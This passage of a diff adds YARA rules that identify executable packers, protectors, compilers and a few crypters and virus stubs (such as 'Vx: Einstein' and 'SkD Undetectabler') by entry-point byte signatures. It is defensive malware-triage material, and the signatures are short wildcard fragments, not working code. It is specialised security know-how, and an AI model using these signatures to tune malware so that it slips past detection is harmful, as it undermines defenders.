+		$0 = {53 56 57 55 BB 2C ?? ?? 44 BE 00 30 44 44 BF 20 ?? ?? 44 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 44 44 00 74 06 FF 15 58 30 44 44 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 20 30 44 44 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 18 30 44 44 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 2F FA FF FF FF 15 24 30 44 44 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 44 00 74 06 FF 15 10 ?? ?? 44 8B 06 50 E8 51 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 44 44 E8 26 FF FF FF C3}
+		$1 = {55 8B EC 83 C4 F0 53 B8 18 22 44 44 E8 7F F7 FF FF E8 0A F1 FF FF B8 09 00 00 00 E8 5C F1 FF FF 8B D8 85 DB 75 05 E8 85 FD FF FF 83 FB 01 75 05 E8 7B FD FF FF 83 FB 02 75 05 E8 D1 FD FF FF 83 FB 03 75 05 E8 87 FE FF FF 83 FB 04 75 05 E8 5D FD FF FF 83 FB 05 75 05 E8 B3 FD FF FF 83 FB 06 75 05 E8 69 FE FF FF 83 FB 07 75 05 E8 5F FE FF FF 83 FB 08 75 05 E8 95 FD FF FF 83 FB 09 75 05 E8 4B FE FF FF 5B E8 9D F2 FF FF 90}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v6.0"
+	strings:
+		$0 = {FF 25 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF ?? ?? ?? ?? ?? ?? 30}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_60_Debug_Version__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 10 01 90 90 90 90 90 90 90 90 E8 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_10xx__1800_compressed_engine__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+		$1 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 5A ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEncrypt_20__junkcode_
+{
+	meta:
+		description = "PEncrypt 2.0 -> junkcode"
+	strings:
+		$0 = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85}
+		$1 = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85 23 10 40 00 50 6A 04 51 56 FF 95 10 10 40 00 5E 59 C6 06 00 46 E2 FA E9 AE 00 00 00 55 E8 00 00 00 00 5D 81 ED 77 10 40 00 8B D6 80 3E 00 74 03 46 EB F8 46 2B F2 8B CE 33 C0 66 89 85 06 10 40 00 8B B5 02 10 40 00 83 C6 3C 66 AD 03 85 02 10 40 00 8B 70 78 03 B5 02 10 40 00 83 C6 1C AD 03 85 02 10 40 00 89 85 08 10 40 00 AD 03 85 02 10 40 00 50 AD 03 85 02 10 40 00 89 85 0C 10 40 00 5E 56 AD 03 85 02 10 40 00 8B F0 8B FA 51 FC F3 A6 59 74 0D 5E 83 C6 04 66 FF 85 06 10 40 00 EB E0 5E 0F B7 85 06 10 40 00 D1 E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v30_EXE_LZMA__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX v3.0 (EXE_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00 57 83 C3 04 53 68 ?? ?? ?? 00 56}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Spin_v0b_
+{
+	meta:
+		description = "PE Spin v0.b"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9 8B 95 68 20 40 00 8B 42 3C 03 C2 89 85 76 20 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D 8A 20 40 00 8B 59 24 03 DA 8B 1B 89 9D 8E 20 40 00 53 8F 85 E2 1F 40 00 8D 85 92 20 40 00 6A 0C 5B 6A 17 59 30 0C 03 02 CB 4B 75 F8 40 8D 9D 41 8F 4E 00 50 53 81 2C 24 01 78 0E 00 FF B5 8A 20 40 00 C3 92 EB 15 68 BB ?? 00 00 00 B9 90 08 00 00 8D BD FF 20 40 00 4F 30 1C 39 FE CB E2 F9 68 1D 01 00 00 59 8D BD 2F 28 40 00 C0 0C 39 02 E2 FA 68 A0 20 40 00 50 01 6C 24 04 E8 BD 09 00 00 33 C0 0F 84 C0 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105_v122_Delphi_stub_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF EB 0E ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_4x__LCC_Win32_1x_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)"
+	strings:
+		$0 = {2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Gardian_Angel_10_
+{
+	meta:
+		description = "Gardian Angel 1.0"
+	strings:
+		$0 = {06 8C C8 8E D8 8E C0 FC BF ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _nBinder_v361_
+{
+	meta:
+		description = "nBinder v3.6.1"
+	strings:
+		$0 = {6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C 00 5C 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C}
+	condition:
+		$0
+}
+rule _WIBUKey_V410A__WIBUSYSTEMS_AG__Sign_by_fly_
+{
+	meta:
+		description = "WIBU-Key V4.10A -> WIBU-SYSTEMS AG ! Sign by fly"
+	strings:
+		$0 = {F7 05 ?? ?? ?? ?? FF 00 00 00 75 12}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2000__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.000 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 70 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_V12Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote V1.2.Demo -> SIS-Team"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v167_
+{
+	meta:
+		description = "PECompact v1.67"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _AverCryptor_102_beta__os1r1s_
+{
+	meta:
+		description = "AverCryptor 1.02 beta -> os1r1s"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0C 17 40 00 8B BD 33 18 40 00 8B 8D 3B 18 40 00 B8 51 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 37 18 40 00 33 C0 51 33 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 37 18 40 00 8B 85 3F 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 51 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 2F 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Einstein_
+{
+	meta:
+		description = "Vx: Einstein"
+	strings:
+		$0 = {00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42}
+	condition:
+		$0 at entrypoint
+}
+rule _ReversingLabsProtector_074_beta__Ap0x_
+{
+	meta:
+		description = "ReversingLabsProtector 0.7.4 beta -> Ap0x"
+	strings:
+		$0 = {68 00 00 41 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_VideoLanClient__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Video-Lan-Client] -> Anorganix"
+	strings:
+		$0 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _MetaWare_High_C_RunTime_Library_p_Phar_Lap_DOS_Extender_198389_
+{
+	meta:
+		description = "MetaWare High C Run-Time Library + Phar Lap DOS Extender 1983-89"
+	strings:
+		$0 = {B8 ?? ?? 50 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Pascal_v70_Protected_Mode_
+{
+	meta:
+		description = "Borland Pascal v7.0 Protected Mode"
+	strings:
+		$0 = {B8 ?? ?? BB ?? ?? 8E D0 8B E3 8C D8 8E C0 0E 1F A1 ?? ?? 25 ?? ?? A3 ?? ?? E8 ?? ?? 83 3E ?? ?? ?? 75}
+	condition:
+		$0 at entrypoint
+}
+rule _ZealPack_10__Zeal_
+{
+	meta:
+		description = "ZealPack 1.0 -> Zeal"
+	strings:
+		$0 = {C7 45 F4 00 00 40 00 C7 45 F0 ?? ?? ?? ?? 8B 45 F4 05 ?? ?? ?? ?? 89 45 F4 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 F0 7D 22 8B 45 F4 03 45 FC 8A 08 88 4D F8 0F BE 55 F8 83 F2 0F 88 55 F8 8B 45 F4 03 45 FC 8A 4D F8 88 08 EB CD FF 65 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_DLL_
+{
+	meta:
+		description = "Borland Delphi DLL"
+	strings:
+		$0 = {55 8B EC 83 C4 B4 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v20_beta__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v2.0 beta -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_07__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 0.7 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0
+}
+rule _kryptor_9_
+{
+	meta:
+		description = "kryptor 9"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Cpp_1999_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)"
+	strings:
+		$0 = {EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_10_beta__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.0 beta -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ShellModify_01__pll621_
+{
+	meta:
+		description = "ShellModify 0.1 -> pll621"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v08_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v0.8"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SkD_Undetectabler_Pro_20_No_UPX_Method__SkD_
+{
+	meta:
+		description = "SkD Undetectabler Pro 2.0 (No UPX Method) -> SkD"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 FC 26 00 10 E8 EC F3 FF FF 6A 0F E8 15 F5 FF FF E8 64 FD FF FF E8 BB ED FF FF 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _mPACK_v002__DeltaAziz_h_
+{
+	meta:
+		description = "mPACK v0.0.2 -> DeltaAziz (h)"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 E8 AA 00 00 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 5E ?? ?? 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? 0C ?? ?? ?? CC E4 ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 5D 68 00 FE 9F 07 53 E8 5D 00 00 00 EB FF 71 E8 C2 50 00 EB D6 5E F3 68 89 74 24 48 74 24 58 FF 8D 74 24 58 5E 83 C6 4C 75 F4 59 8D 71 E8 75 09 81 F6 EB FF 51 B9 01 00 83 EE FC 49 FF 71 C7 75 19 8B 74 24 00 00 81 36 50 56 8B 36 EB FF 77 C4 36 81 F6 EB 87 34 24 8B 8B 1C 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 5B EB FF F3 EB FF C3 83 EB FD}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V111__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.11 -> ap0x ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _pscrambler_12__by_p0ke_
+{
+	meta:
+		description = "pscrambler 1.2 -> by p0ke"
+	strings:
+		$0 = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC}
+		$1 = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC B8 C4 54 00 10 E8 D9 EC FF FF 83 3D C4 54 00 10 00 0F 84 05 01 00 00 80 3D A0 40 00 10 00 74 41 A1 C4 54 00 10 E8 D9 ED FF FF E8 48 E0 FF FF 8B D8 A1 C4 54 00 10 E8 C8 ED FF FF 50 B8 C4 54 00 10 E8 65 EF FF FF 8B D3 59 E8 69 E1 FF FF 8B C3 E8 12 FA FF FF 8B C3 E8 33 E0 FF FF E9 AD 00 00 00 B8 05 01 00 00 E8 0C E0 FF FF 8B D8 53 68 05 01 00 00 E8 57 F3 FF FF 8D 45 DC 8B D3 E8 39 ED FF FF 8B 55 DC B8 14 56 00 10 B9 00 32 00 10 E8 BB ED FF FF 8B 15 14 56 00 10 B8 C8 54 00 10 E8 53 E5 FF FF BA 01 00 00 00 B8 C8 54 00 10 E8 8C E8 FF FF E8 DF E0 FF FF 85 C0 75 52 6A 00 A1 C4 54 00 10 E8 3B ED FF FF 50 B8 C4 54 00 10 E8 D8 EE FF FF 8B D0 B8 C8 54 00 10 59 E8 3B E6 FF FF E8 76 E0 FF FF B8 C8 54 00 10 E8 4C E6 FF FF E8 67 E0 FF FF 6A 00 6A 00 6A 00 A1 14 56 00 10 E8 53 EE FF FF 50 6A 00 6A 00 E8 41 F3 FF FF 80 3D 9C 40 00 10 00 74 05 E8 EF FB FF FF 33 C0 5A 59 59 64 89 10 68 EF 31 00 10 8D 45 DC BA 05 00 00 00 E8 7D EB FF FF C3 E9 23 E9 FF FF EB EB 5B E8 63 EA FF FF 00 00 00 FF FF FF FF 08 00 00 00 74 65 6D 70 2E 65 78 65}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEncrypt_10__JunkCode_
+{
+	meta:
+		description = "PEncrypt 1.0 -> JunkCode"
+	strings:
+		$0 = {60 9C BE 00 10 40 00 8B FE B9 ?? ?? ?? ?? BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Creative_Audio_file_
+{
+	meta:
+		description = "Creative Audio file"
+	strings:
+		$0 = {43 72 65 61 74 69 76 65 20 56 6F 69 63 65 20 46 69 6C 65}
+	condition:
+		$0
+}
+rule _Thinstall_Embedded_V2547V2600__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.547-V2.600 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB BC 18 00 00 2B C3 50 68 ?? ?? ?? ?? 68 60 1B 00 00 68 60 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PluginToExe_v101__BoB__BobSoft_
+{
+	meta:
+		description = "PluginToExe v1.01 -> BoB / BobSoft"
+	strings:
+		$0 = {E8 00 00 00 00 29 C0 5D 81 ED C6 41 40 00 50 8F 85 71 40 40 00 50 FF 95 A5 41 40 00 89 85 6D 40 40 00 FF 95 A1 41 40 00 50 FF 95 B5 41 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 B9 41 40 00 89 85 75 40 40 00 EB 6C 6A 01 8F 85 71 40 40 00 6A 58 6A 40 FF 95 A9 41 40 00 89 85 69 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 A9 41 40 00 89 47 1C C7 07 58 00 00 00 C7 47 20 00 08 00 00 C7 47 18 01 00 00 00 C7 47 34 04 10 88 00 8D 8D B9 40 40 00 89 4F 0C 8D 8D DB 40 40 00 89 4F 30 FF B5 69 40 40 00 FF 95 95 41 40 00 FF 77 1C 8F 85 75 40 40 00 8B 9D 6D 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 75 40 40 00 6A 00 81 C3 ?? ?? 00 00 FF D3 83 C4 10 83 BD 71 40 40 00 00 74 10 FF 77 1C FF 95 AD 41 40 00 57 FF 95 AD 41 40 00 6A 00 FF 95 9D 41 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Guarder_18__Exeiconcom_h_
+{
+	meta:
+		description = "Exe Guarder 1.8 -> Exeicon.com (h)"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+	condition:
+		$0
+}
+rule _BeRoEXEPacker_v100_LZMA_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 (LZMA)"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+	condition:
+		$0 at entrypoint
+}
+rule _BopCrypt_v10_
+{
+	meta:
+		description = "BopCrypt v1.0"
+	strings:
+		$0 = {60 BD ?? ?? ?? ?? E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1336__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.6 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04}
+		$1 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v100_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.00 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 51 FF FF FF 5F BB 28 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1C ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_11__Northfox_
+{
+	meta:
+		description = "MEW 11 SE 1.1 -> Northfox"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 0C ?? ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _SLVc0deProtector_060__SLV__ICU_
+{
+	meta:
+		description = "SLVc0deProtector 0.60 -> SLV / ICU"
+	strings:
+		$0 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD}
+	condition:
+		$0
+}
+rule _ASPack_v10801_
+{
+	meta:
+		description = "ASPack v1.08.01"
+	strings:
